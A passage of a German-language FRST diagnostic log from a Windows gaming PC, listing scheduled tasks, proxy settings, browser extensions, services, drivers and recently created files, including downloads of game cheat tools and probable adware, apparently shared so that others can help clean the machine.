Task: {44084B74-75D7-4DCF-BB3E-52173B258D5D} - System32\Tasks\ModifyLinkUpdate => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe [1031384 2024-07-15] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {644FCBA5-CA4C-4B03-B17C-A05AB2FEA5D3} - System32\Tasks\Mozilla\Firefox Background Update S-1-5-21-3736346939-3236848792-3681124891-1001 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [672320 2025-01-15] (Mozilla Corporation -> Mozilla Corporation) -> C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\--MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask background (Der Dateneintrag hat 6 weitere Zeichen).
Task: {B0417A0D-C385-4E85-8E45-BE0ACF8E0EFB} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [34368 2025-01-15] (Mozilla Corporation -> Mozilla Foundation)
Task: {3ABAABCD-4CE7-4D95-A964-54F75530BC41} - System32\Tasks\NahimicSvc32Run => C:\Windows\SysWOW64\NahimicSvc32.exe [833688 2024-06-21] (A-Volute SAS -> Nahimic)
Task: {43DC3C82-C824-4D44-A3E5-063E08B23AED} - System32\Tasks\NahimicSvc64Run => C:\Windows\system32\NahimicSvc64.exe [1094808 2024-06-21] (A-Volute SAS -> Nahimic)
Task: {1DBB50F6-ADDE-4CF7-8B2A-5487512B27BB} - System32\Tasks\NahimicTask32 => C:\Windows\System32\..\SysWOW64\NahimicSvc32.exe [833688 0] (A-Volute SAS -> Nahimic)
Task: {5BCC6ADD-6565-498E-9CA3-20BB4F26A5BC} - System32\Tasks\NahimicTask64 => C:\Windows\System32\.\NahimicSvc64.exe [1094808 0] (A-Volute SAS -> Nahimic)
Task: {10097597-40DC-4BF9-8E0D-A7031A7B91DD} - System32\Tasks\OneDrive Per-Machine Standalone Update Task => C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater.exe [4222504 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
Task: {900B6652-2F5A-4BCE-905C-1821FD6A5A48} - System32\Tasks\OneDrive Reporting Task-S-1-5-21-3736346939-3236848792-3681124891-1001 => C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater.exe [4222504 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
Task: {65E1C970-6F94-4344-B4B4-B5AA221133EE} - System32\Tasks\Opera GX scheduled Autoupdate 1736177274 => C:\Users\wigla\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe [5610392 2025-01-16] (Opera Norway AS -> Opera Software)
Task: {195DD4EE-FD86-4B73-AA09-0A5EDC63D388} - System32\Tasks\StartCN => C:\Program Files\AMD\CNext\CNext\cncmd.exe [60632 2024-07-14] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {BB5A8831-54BC-4B41-84C6-0B98A074A230} - System32\Tasks\StartDVR => C:\Program Files\AMD\CNext\CNext\RSServCmd.exe [324312 2024-07-14] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

ProxyServer: [S-1-5-21-3736346939-3236848792-3681124891-1001] => http=127.0.0.1:60101;https=127.0.0.1:60101
Tcpip\Parameters: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{39fb8ccf-195f-4b55-ab83-ed69e99643f0}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{39fb8ccf-195f-4b55-ab83-ed69e99643f0}: [DhcpDomain] fritz.box

Edge:
=======
Edge Profile: C:\Users\wigla\AppData\Local\Microsoft\Edge\User Data\Default [2025-01-21]
Edge Extension: (Google Docs Offline) - C:\Users\wigla\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2024-12-29]
Edge Extension: (Edge relevant text changes) - C:\Users\wigla\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha [2024-06-21]

FireFox:
========
FF DefaultProfile: 2dtpyj62.default
FF ProfilePath: C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\2dtpyj62.default [2025-01-20]
FF ProfilePath: C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714 [2025-01-21]
FF Extension: (Easy Print) - C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714\Extensions\addonY235@easyprint.app.xpi [2025-01-05] [UpdateUrl:hxxps://cdn.easyprint-cdn.app/xpi/easyprint/mv3/0923/search/updates.json]
FF Extension: (Malwarebytes Browser Guard) - C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714\Extensions\{242af0bb-db11-4734-b7a0-61cb8a9b20fb}.xpi [2025-01-19]
FF Extension: (Bitwarden Passwortmanager) - C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714\Extensions\{446900e4-71c2-419f-a6a7-df9c091e268b}.xpi [2025-01-14]

Opera:
=======
StartMenuInternet: (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001) Opera GXStable - "C:\Users\wigla\AppData\Local\Programs\Opera GX\opera.exe"

==================== Dienste (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 ArmouryCrateService; C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.Service.exe [401880 2024-12-23] (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.)
R2 asComSvc; C:\Program Files (x86)\ASUS\AXSP\4.03.12\atkexComSvc.exe [908648 2024-12-04] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
S2 asus; C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
R2 AsusCertService; C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe [503144 2024-09-25] (ASUSTeK COMPUTER INC. -> Asustek Computer Inc.)
R2 AsusFanControlService; C:\Program Files (x86)\ASUS\AsusFanControlService\2.03.43\AsusFanControlService.exe [1854312 2024-12-04] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
S3 asusm; C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
S2 AsusUpdateCheck; C:\WINDOWS\System32\AsusUpdateCheck.exe [845256 2025-01-21] (ASUSTeK Computer Inc. -> )
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [14893832 2024-09-14] (BattlEye Innovations e.K. -> )
S3 EasyAntiCheat; C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat.exe [1137904 2024-11-16] (EasyAntiCheat Oy -> Epic Games, Inc)
S3 EasyAntiCheat_EOS; C:\Program Files (x86)\EasyAntiCheat_EOS\EasyAntiCheat_EOS.exe [965872 2024-10-12] (EasyAntiCheat Oy -> Epic Games, Inc.)
S3 EpicOnlineServices; C:\Program Files (x86)\Epic Games\Epic Online Services\service\EpicOnlineServicesHost.exe [367064 2024-11-16] (Epic Games Inc. -> Epic Games, Inc.)
R3 FileSyncHelper; C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncHelper.exe [3530280 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
R2 GameSDK Service; C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe [397544 2022-05-31] (ASUSTeK COMPUTER INC. -> ASUS Inc.)
R2 LightingService; C:\Program Files (x86)\LightingService\LightingService.exe [4955496 2024-08-08] (ASUSTeK COMPUTER INC. -> ASUSTek Computer Inc.)
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe [9441760 2024-12-15] (Malwarebytes Inc. -> Malwarebytes)
S3 MBVpnTunnelService; C:\Program Files\Malwarebytes\Anti-Malware\MBVpnTunnelService.exe [2788304 2025-01-10] (Malwarebytes Inc. -> Malwarebytes)
R2 MDCoreSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpDefenderCoreService.exe [1447680 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 NahimicService; C:\WINDOWS\system32\NahimicService.exe [1920152 2024-06-21] (A-Volute SAS -> Nahimic)
S3 OneDrive Updater Service; C:\Program Files\Microsoft OneDrive\24.244.1204.0003\OneDriveUpdaterService.exe [3876392 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
R2 Razer Game Manager Service; C:\Program Files (x86)\Razer\Razer Services\GMS\GameManagerService.exe [256264 2023-02-10] (Razer USA Ltd. -> Razer Inc)
R2 Razer Synapse Service; C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe [298248 2024-06-26] (Razer USA Ltd. -> Razer Inc.)
R2 ROG Live Service; C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe [2125352 2024-11-22] (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.)
R2 RzActionSvc; C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe [538424 2024-05-15] (Razer USA Ltd. -> Razer Inc.)
S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [559304 2024-12-04] (Microsoft Windows Publisher -> Microsoft Corporation)
S3 vgc; C:\Program Files\Riot Vanguard\vgc.exe [13081856 2024-12-20] (Riot Games, Inc. -> Riot Games, Inc.)
R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\NisSrv.exe [3199672 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MsMpEng.exe [141952 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)

===================== Treiber (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 amdfendrmgr; C:\WINDOWS\System32\DriverStore\FileRepository\amdfendr.inf_amd64_987f8cede005f427\amdfendrmgr.sys [36040 2024-05-09] (Microsoft Windows Hardware Compatibility Publisher -> Advanced Micro Devices, Inc.)
R2 AMDRyzenMasterDriverV26; C:\Windows\system32\AMDRyzenMasterDriver.sys [60576 2024-07-14] (Advanced Micro Devices Inc. -> Advanced Micro Devices)
R3 AMDSAFD; C:\WINDOWS\System32\DriverStore\FileRepository\amdsafd.inf_amd64_d4de13a10f2586d0\amdsafd.sys [112952 2024-06-15] (AMD Test Build -> Advanced Micro Devices)
R3 amduw23g; C:\WINDOWS\System32\DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\amdkmdag.sys [106158544 2024-09-12] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
R3 AMDXE; C:\WINDOWS\System32\drivers\amdxe.sys [63008 2024-05-16] (Advanced Micro Devices Inc. -> Advanced Micro Devices, Inc.)
R1 Asusgio3; C:\Windows\system32\drivers\AsIO3.sys [58936 2024-09-24] (ASUSTeK COMPUTER INC. -> Asustek Computer Inc.)
S3 AVoluteSS3Vad; C:\WINDOWS\System32\drivers\AVoluteSS3Vad.sys [93672 2021-10-14] (A-Volute -> Windows (R) Win 7 DDK provider)
S3 BthA2dp; C:\WINDOWS\System32\drivers\BthA2dp.sys [569344 2024-12-04] (Microsoft Corporation) [Datei ist nicht signiert]
S3 BthHFEnum; C:\WINDOWS\System32\drivers\bthhfenum.sys [200704 2024-12-04] (Microsoft Corporation) [Datei ist nicht signiert]
R1 CTIAIO; C:\Windows\system32\drivers\CtiAIo64.sys [34520 2024-06-21] (Microsoft Windows Hardware Compatibility Publisher -> Creative Technology Innovation Co., LTd.)
R4 IOMap; C:\WINDOWS\system32\drivers\IOMap64.sys [54888 2024-07-01] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
R2 mbamchameleon; C:\WINDOWS\System32\Drivers\MbamChameleon.sys [232000 2024-10-30] (Microsoft Windows Hardware Compatibility Publisher -> Malwarebytes)
S0 MbamElam; C:\WINDOWS\System32\DRIVERS\MbamElam.sys [21480 2024-09-13] (Microsoft Windows Early Launch Anti-malware Publisher -> Malwarebytes)
R3 MBAMSwissArmy; C:\WINDOWS\System32\Drivers\mbamswissarmy.sys [239568 2025-01-19] (Microsoft Windows Hardware Compatibility Publisher -> Malwarebytes)
R1 MSIO; C:\Windows\system32\drivers\MsIo64.sys [19672 2023-12-10] (Microsoft Windows Hardware Compatibility Publisher -> MICSYS Technology Co., LTd)
R3 RzCommon; C:\WINDOWS\System32\drivers\RzCommon.sys [64168 2022-08-18] (Razer USA Ltd. -> Razer Inc)
R3 RzDev_00c0; C:\WINDOWS\System32\drivers\RzDev_00c0.sys [65280 2024-01-31] (Razer USA Ltd. -> Razer Inc)
R1 vgk; C:\Program Files\Riot Vanguard\vgk.sys [28298792 2024-12-19] (Riot Games, Inc. -> Riot Games, Inc.)
R3 VOICEMOD_Driver; C:\WINDOWS\system32\drivers\mvvad.sys [51840 2024-11-11] (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Windows (R) Win 7 DDK provider)
S0 WdBoot; C:\WINDOWS\System32\drivers\wd\WdBoot.sys [22104 2024-10-30] (Microsoft Windows Early Launch Anti-malware Publisher -> Microsoft Corporation)
R0 WdFilter; C:\WINDOWS\System32\drivers\wd\WdFilter.sys [606624 2024-10-30] (Microsoft Windows -> Microsoft Corporation)
R3 WdNisDrv; C:\WINDOWS\System32\drivers\wd\WdNisDrv.sys [105888 2024-10-30] (Microsoft Windows -> Microsoft Corporation)

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2025-01-20 16:37 - 2025-01-20 16:37 - 000707760 _____ C:\WINDOWS\system32\perfh007.dat
2025-01-20 16:37 - 2025-01-20 16:37 - 000150734 _____ C:\WINDOWS\system32\perfc007.dat
2025-01-20 16:11 - 2025-01-20 16:30 - 000001730 _____ C:\Users\wigla\Downloads\Fixlog.txt
2025-01-20 16:11 - 2025-01-20 16:11 - 000000288 _____ C:\Users\wigla\Downloads\itwyreyfqvzb.txt
2025-01-20 16:01 - 2025-01-20 16:01 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_1738120381659.dll
2025-01-20 15:54 - 2025-01-20 15:54 - 008790880 _____ (Malwarebytes) C:\Users\wigla\Downloads\adwcleaner(1).exe
2025-01-20 15:21 - 2025-01-20 15:21 - 000008758 _____ C:\Users\wigla\Desktop\Malwarebytes Scan-Bericht 2025-01-17 203317.txt
2025-01-20 13:43 - 2025-01-20 13:43 - 000039225 _____ C:\Users\wigla\Downloads\Offizielle Regeln für Late Game Cups in Kapitel 4 – Saison 1.pdf
2025-01-20 10:55 - 2025-01-20 10:56 - 000054801 _____ C:\Users\wigla\Downloads\Addition.txt
2025-01-20 10:54 - 2025-01-21 09:53 - 000028806 _____ C:\Users\wigla\Downloads\FRST.txt
2025-01-20 10:53 - 2025-01-20 10:53 - 000000000 ____D C:\Users\wigla\Downloads\FRST-OlderVersion
2025-01-20 10:52 - 2025-01-21 09:53 - 000000000 ____D C:\FRST
2025-01-19 14:22 - 2025-01-19 14:22 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_915496643619.dll
2025-01-19 14:09 - 2025-01-20 10:53 - 002402816 _____ (Farbar) C:\Users\wigla\Downloads\FRST64.exe
2025-01-19 13:47 - 2025-01-19 13:47 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_1273924402380.dll
2025-01-19 02:03 - 2025-01-19 02:03 - 000000000 ____D C:\Users\wigla\AppData\Roaming\changzhi2
2025-01-19 02:03 - 2025-01-19 02:03 - 000000000 ____D C:\Users\wigla\.Ld9VirtualBox
2025-01-19 02:02 - 2025-01-19 02:05 - 000000000 ____D C:\Users\wigla\AppData\Roaming\XuanZhi9
2025-01-19 02:02 - 2025-01-19 02:02 - 000000000 ____D C:\Users\wigla\Documents\XuanZhi9
2025-01-19 02:02 - 2025-01-19 02:02 - 000000000 ____D C:\Users\wigla\AppData\Roaming\XuanZhi
2025-01-19 02:02 - 2025-01-19 02:02 - 000000000 ____D C:\Users\wigla\AppData\Roaming\lddownloader
2025-01-19 02:01 - 2025-01-19 02:05 - 000000000 ____D C:\LDPlayer
2025-01-19 02:01 - 2025-01-19 02:01 - 002245480 _____ (xzplayer) C:\Users\wigla\Downloads\LDPlayer9_de_com.supercell.brawlstars_25567197_ld.exe
2025-01-19 02:01 - 2025-01-19 02:01 - 000000000 ____D C:\Users\wigla\AppData\Roaming\xzdownloader
2025-01-19 02:01 - 2025-01-19 02:01 - 000000000 ____D C:\Users\wigla\AppData\Roaming\xzdown
2025-01-19 01:59 - 2025-01-19 01:59 - 002238776 _____ () C:\Users\wigla\Downloads\OperaSetup.exe
2025-01-18 23:43 - 2025-01-18 23:43 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_131114109187952.dll
2025-01-18 21:42 - 2025-01-18 21:42 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(4).msi
2025-01-17 22:34 - 2025-01-21 09:52 - 000000000 ____D C:\Users\wigla\AppData\Local\VoicemodV3
2025-01-17 22:34 - 2025-01-17 22:34 - 000001835 _____ C:\Users\Public\Desktop\Voicemod V3.lnk
2025-01-17 22:34 - 2025-01-17 22:34 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Voicemod V3
2025-01-17 22:34 - 2025-01-17 22:34 - 000000000 ____D C:\Program Files\Voicemod V3
2025-01-17 22:34 - 2024-11-11 13:22 - 000051840 _____ (Windows (R) Win 7 DDK provider) C:\WINDOWS\system32\Drivers\mvvad.sys
2025-01-17 22:33 - 2025-01-17 22:33 - 006442784 _____ (Voicemod Inc., Sucursal en España ) C:\Users\wigla\Downloads\VoicemodInstaller_1.3.1-0qtldv.exe
2025-01-17 20:34 - 2025-01-17 20:34 - 000000000 ____D C:\Users\wigla\AppData\Local\Globalhop
2025-01-17 20:32 - 2025-01-19 14:16 - 000000000 ____D C:\Users\wigla\AppData\Roaming\ReasonLabs
2025-01-17 20:32 - 2025-01-19 14:14 - 000000000 ____D C:\Users\wigla\AppData\Roaming\rsappui
2025-01-17 20:32 - 2025-01-17 20:42 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Win Riser
2025-01-17 20:31 - 2025-01-17 20:31 - 000000000 ____D C:\Users\wigla\AppData\Local\TerrificErrorefbSoftware
2025-01-17 20:31 - 2025-01-17 20:31 - 000000000 ____D C:\Program Files (x86)\TerrificErrortezSoftware
2025-01-17 20:30 - 2025-01-17 20:32 - 008628521 _____ C:\Users\wigla\Downloads\DeltaExecutor(1).zip
2025-01-17 20:30 - 2025-01-17 20:30 - 000000000 ____D C:\Users\wigla\Downloads\DeltaExecutor(1)
2025-01-17 20:27 - 2025-01-17 20:27 - 004011760 _____ () C:\Users\wigla\Downloads\OperaGXSetup(4).exe
2025-01-17 20:26 - 2025-01-19 00:41 - 000000000 ____D C:\Users\wigla\AppData\Roaming\Mod Menu
2025-01-17 20:26 - 2025-01-19 00:39 - 000000000 ____D C:\Users\wigla\AppData\Roaming\xmodz-mod-menu-nativefier-e5a4a8
2025-01-17 20:26 - 2025-01-19 00:34 - 000000022 _____ C:\Users\wigla\Downloads\Mod.Menu.zip
2025-01-17 20:26 - 2025-01-17 20:26 - 000001006 _____ C:\Users\wigla\Desktop\Mod Menu.lnk
2025-01-17 20:22 - 2025-01-17 20:22 - 000000000 ____D C:\Users\wigla\AppData\Roaming\net.wearedevs
2025-01-17 20:10 - 2025-01-17 20:10 - 004011400 _____ () C:\Users\wigla\Downloads\OperaGXSetup(3).exe
2025-01-17 20:09 - 2025-01-17 20:12 - 000000000 ____D C:\Users\wigla\Downloads\DeltaExecutor
2025-01-17 20:09 - 2025-01-17 20:09 - 004011400 _____ () C:\Users\wigla\Downloads\OperaGXSetup(2).exe
2025-01-17 20:08 - 2025-01-17 20:13 - 008628521 _____ C:\Users\wigla\Downloads\DeltaExecutor.zip
2025-01-17 20:05 - 2025-01-17 20:05 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(3).msi
2025-01-17 19:20 - 2025-01-20 18:31 - 000000000 ____D C:\WINDOWS\CbsTemp
2025-01-15 19:22 - 2025-01-15 20:59 - 000000000 ____D C:\Program Files\Mozilla Firefox
2025-01-14 20:19 - 2025-01-14 20:19 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_33746000570991.dll
2025-01-13 13:14 - 2025-01-13 13:16 - 000000000 ____D C:\XboxGames
2025-01-13 13:14 - 2025-01-13 13:14 - 000000028 ____H C:\.GamingRoot
2025-01-06 16:28 - 2025-01-17 20:28 - 000004234 _____ C:\WINDOWS\system32\Tasks\Opera GX scheduled Autoupdate 1736177274
2025-01-06 16:28 - 2025-01-06 16:28 - 000000000 ____D C:\Users\wigla\AppData\Local\Opera Software
2025-01-06 16:27 - 2025-01-17 20:28 - 000001413 _____ C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Browser Opera GX.lnk
2025-01-06 16:27 - 2025-01-06 16:27 - 004011440 _____ () C:\Users\wigla\Downloads\OperaGXSetup(1).exe
2025-01-06 16:27 - 2025-01-06 16:27 - 000001413 _____ C:\Users\wigla\Desktop\Browser Opera GX.lnk
2025-01-05 11:49 - 2025-01-05 15:34 - 000000000 ____D C:\Users\wigla\Documents\ROBLOX
2024-12-28 02:52 - 2024-12-28 02:52 - 211283329 _____ C:\Users\wigla\Downloads\DeltaExecutor-v2.654.apk
2024-12-27 23:56 - 2024-12-27 23:56 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(2).msi
2024-12-27 23:56 - 2024-12-27 23:56 - 005214208 _____ C:\Users\wigla\Downloads\JJSploit_8.10.9_x64_en-US(1).msi
2024-12-27 06:05 - 2024-12-27 06:05 - 000000000 ____D C:\Users\wigla\Desktop\Alte Firefox-Daten
2024-12-27 01:01 - 2024-12-27 01:01 - 006443072 _____ (Voicemod Inc., Sucursal en España ) C:\Users\wigla\Downloads\VoicemodInstaller_1.3.0-0qtldv(3).exe
2024-12-26 00:49 - 2024-12-26 00:49 - 000000000 ____D C:\Program Files\wooting-analog-sdk
2024-12-26 00:49 - 2024-12-26 00:49 - 000000000 ____D C:\Program Files\WootingAnalogPlugins
2024-12-24 21:10 - 2025-01-20 15:33 - 000000000 ____D C:\Users\wigla\AppData\Roaming\wootility-lekker
2024-12-24 21:10 - 2024-12-24 21:10 - 000000000 ____D C:\Users\wigla\AppData\Roaming\wooting-analog-sdk
2024-12-24 21:09 - 2024-12-24 21:09 - 102900192 _____ C:\Users\wigla\Downloads\wootility-lekker Setup 4.7.2.exe
2024-12-24 21:09 - 2024-12-24 21:09 - 000002413 _____ C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\wootility-lekker.lnk
2024-12-24 21:09 - 2024-12-24 21:09 - 000002405 _____ C:\Users\wigla\Desktop\wootility-lekker.lnk
2024-12-24 21:09 - 2024-12-24 21:09 - 000000000 ____D C:\Users\wigla\AppData\Local\wootility-lekker-updater
2024-12-22 15:09 - 2024-12-22 15:09 - 000000000 ____D C:\WINDOWS\Minidump
2024-12-22 14:32 - 2024-12-22 14:32 - 000027888 _____ (EasyAntiCheat Oy) C:\WINDOWS\system32\eac_usermode_336779708499.dll

==================== Ein Monat (geänderte) ==================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2025-01-21 09:53 - 2024-06-21 19:01 - 000000000 ____D C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38
2025-01-21 09:52 - 2024-12-04 20:26 - 000003096 _____ C:\WINDOWS\system32\Tasks\AMDInstallLauncher
2025-01-21 09:52 - 2024-06-21 19:08 - 000000000 ____D C:\Program Files (x86)\Steam
2025-01-21 09:52 - 2024-06-21 19:00 - 000000000 ___RD C:\Users\wigla\OneDrive
2025-01-21 09:52 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\AppReadiness
2025-01-21 09:51 - 2024-12-04 20:26 - 000003112 _____ C:\WINDOWS\system32\Tasks\NahimicTask32
2025-01-21 09:51 - 2024-12-04 20:26 - 000003092 _____ C:\WINDOWS\system32\Tasks\NahimicTask64
2025-01-21 09:51 - 2024-12-04 20:26 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2025-01-21 09:51 - 2024-12-04 20:25 - 000025404 _____ C:\WINDOWS\system32\5E37410B-D6F1-471D-AE27-563CEAC0D6B2
2025-01-21 09:51 - 2024-09-13 22:33 - 000000000 ____D C:\Users\wigla\AppData\Local\Malwarebytes
2025-01-21 09:51 - 2024-08-30 18:02 - 000000001 _____ C:\WINDOWS\vgkbootstatus.dat
2025-01-21 09:51 - 2024-06-21 19:25 - 000000000 ____D C:\Users\wigla\AppData\Roaming\asus_framework
2025-01-21 09:51 - 2024-06-21 16:56 - 000901328 _____ () C:\WINDOWS\system32\wpbbin.exe
2025-01-21 09:51 - 2024-06-21 16:56 - 000845256 _____ C:\WINDOWS\system32\AsusUpdateCheck.exe
2025-01-21 09:51 - 2024-06-21 16:56 - 000012288 ___SH C:\DumpStack.log.tmp
2025-01-21 09:51 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\SystemTemp
2025-01-21 09:51 - 2024-04-01 08:26 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2025-01-20 21:00 - 2024-04-01 08:21 - 000524288 _____ C:\WINDOWS\system32\config\BBI
2025-01-20 20:11 - 2024-06-21 19:41 - 000000000 ____D C:\Users\wigla\AppData\Roaming\EasyAntiCheat
2025-01-20 19:35 - 2024-08-30 15:48 - 000000000 ____D C:\Users\wigla\AppData\Roaming\riot-client-ux
2025-01-20 18:32 - 2024-04-01 08:26 - 000000000 ___HD C:\Program Files\WindowsApps
2025-01-20 16:37 - 2024-12-04 20:32 - 001637744 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2025-01-20 16:37 - 2024-04-01 08:24 - 000000000 ____D C:\WINDOWS\INF
2025-01-20 16:30 - 2024-12-04 20:23 - 000000000 ____D C:\Users\wigla
2025-01-20 16:28 - 2024-12-04 20:23 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2025-01-20 11:05 - 2024-06-21 19:01 - 000000000 ____D C:\Users\wigla\AppData\Local\D3DSCache
2025-01-20 10:53 - 2024-06-21 19:03 - 000000000 ____D C:\Program Files\ASUS
2025-01-19 20:05 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\LiveKernelReports
2025-01-19 14:22 - 2024-06-21 16:56 - 000002436 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2025-01-19 14:17 - 2024-06-21 18:58 - 000000000 ____D C:\Users\wigla\AppData\Local\Packages
2025-01-19 13:42 - 2024-09-13 22:33 - 000239568 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbamswissarmy.sys
2025-01-19 00:43 - 2024-08-01 16:29 - 000000000 ____D C:\Users\wigla\AppData\Local\CrashDumps
2025-01-19 00:20 - 2024-06-21 19:09 - 000000000 ____D C:\Users\wigla\AppData\Roaming\discord
2025-01-18 23:42 - 2024-06-21 19:09 - 000000000 ____D C:\Users\wigla\AppData\Local\Discord
2025-01-17 20:02 - 2024-12-04 20:23 - 000305672 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2025-01-17 20:02 - 2024-09-27 18:17 - 000000000 ____D C:\Program Files\Microsoft OneDrive
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\SystemResources
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\system32\Sgrm
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\system32\SecureBootUpdates
2025-01-17 20:01 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\bcastdvr
2025-01-17 19:30 - 2024-06-22 04:54 - 000000000 ____D C:\WINDOWS\system32\MRT
2025-01-17 19:29 - 2024-06-22 04:54 - 206927936 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2025-01-17 18:32 - 2024-12-04 20:26 - 000003596 _____ C:\WINDOWS\system32\Tasks\OneDrive Reporting Task-S-1-5-21-3736346939-3236848792-3681124891-1001
